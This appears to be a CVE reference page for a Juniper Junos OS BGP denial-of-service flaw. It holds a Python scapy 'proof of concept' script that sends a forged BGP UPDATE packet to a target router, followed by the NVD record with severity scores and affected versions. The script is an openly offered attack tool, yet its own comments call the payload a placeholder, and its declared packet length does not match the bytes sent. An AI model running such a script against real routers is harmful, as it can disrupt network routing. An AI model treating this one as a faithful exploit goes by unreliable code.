CVE-2026-33797

#!/usr/bin/env python3 # PoC for CVE-2026-33797 # Description: Sends a crafted BGP packet to trigger a DoS condition. # Note: This is a conceptual demonstration. The specific packet structure # causing the reset depends on the 'specific genuine BGP packet' mentioned. from scapy.all import * import sys def send_bgp_poc(target_ip, src_ip): # BGP Marker (16 bytes) marker = b'\xFF' * 16 # Construct a BGP Update packet (Type 2) # Vulnerability description implies a specific 'genuine' packet causes reset. # This script sends a malformed/ crafted UPDATE to simulate the trigger. bgp_type = 2 # Placeholder for the specific payload that triggers the vulnerability # In a real exploit, this payload would be exactly the 'specific' packet. payload = marker + struct.pack('!H', 23) + struct.pack('!B', bgp_type) # IP and TCP layers ip = IP(src=src_ip, dst=target_ip) tcp = TCP(sport=179, dport=179, flags="PA", seq=1000, ack=1000) packet = ip / tcp / payload print(f"[*] Sending BGP PoC packet to {target_ip} from {src_ip}") send(packet, verbose=0) print("[+] Packet sent. Check BGP session status.") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <target_ip> <source_ip>") sys.exit(1) target = sys.argv[1] source = sys.argv[2] send_bgp_poc(target, source)

{"cve": {"id": "CVE-2026-33797", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:29.547", "lastModified": "2026-04-23T21:16:05.677", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Input Validation vulnerability in Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, adjacent attacker, sending a specific genuine BGP packet in an already established BGP session to reset only that session causing a Denial of Service (DoS).\n\nAn attacker repeatedly sending the packet will sustain the Denial of Service (DoS).This issue affects Junos OS:\n\n * 25.2 versions before 25.2R2\n\n\nThis issue does not affect Junos OS versions before 25.2R1.\n\nThis issue affects Junos OS Evolved: \n * 25.2-EVO versions before 25.2R2-EVO\n\n\nThis issue does not affect Junos OS Evolved versions before 25.2R1-EVO.\n\neBGP and iBGP are affected.\nIPv4 and IPv6 are affected."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:Green", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "AUTOMATIC", "valueDensity": "CONCENTRATED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "GREEN"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:25.2:-:*:*:*:*:*:*", "matchCriteriaId": "1B7572BB-9C77-4214-9C5F-CC83C7B93E37"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:25.2:r1:*:*:*:*:*:*", "matchCriteriaId": "CAADBF98-38BE-40E2-AF1B-9077DCED0809"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:25.2:r1-s1:*:*:*:*:*:*", "matchCriteriaId": "558F0A4C-0C72-4BF1-B2DE-C0D3BFD54BCD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:25.2:r1-s2:*:*:*:*:*:*", "matchCriteriaId": "127FE528-AB27-4B18-AF3B-1BE7C0AEEE20"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos_os_evolved:25.2:-:*:*:*:*:*:*", "matchCriteriaId": "DAF96553-DB70-4DFA-8658-306A7477DD06"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos_os_evolved:25.2:r1:*:*:*:*:*:*", "matchCriteriaId": "83C415EF-E87B-4259-A836-59B3A9C3914B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos_os_evolved:25.2:r1-s1:*:*:*:*:*:*", "matchCriteriaId": "AFD32E67-9D8D-437D-96BC-CA97A1F686BA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos_os_evolved:25.2:r1-s2:*:*:*:*:*:*", "matchCriteriaId": "0E5D9967-1B53-427B-9B23-77DC399F3D71"}]}]}], "references": [{"url": "https://kb.juniper.net/JSA107850", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://supportportal.juniper.net/JSA107850", "source": "[email protected]"}]}}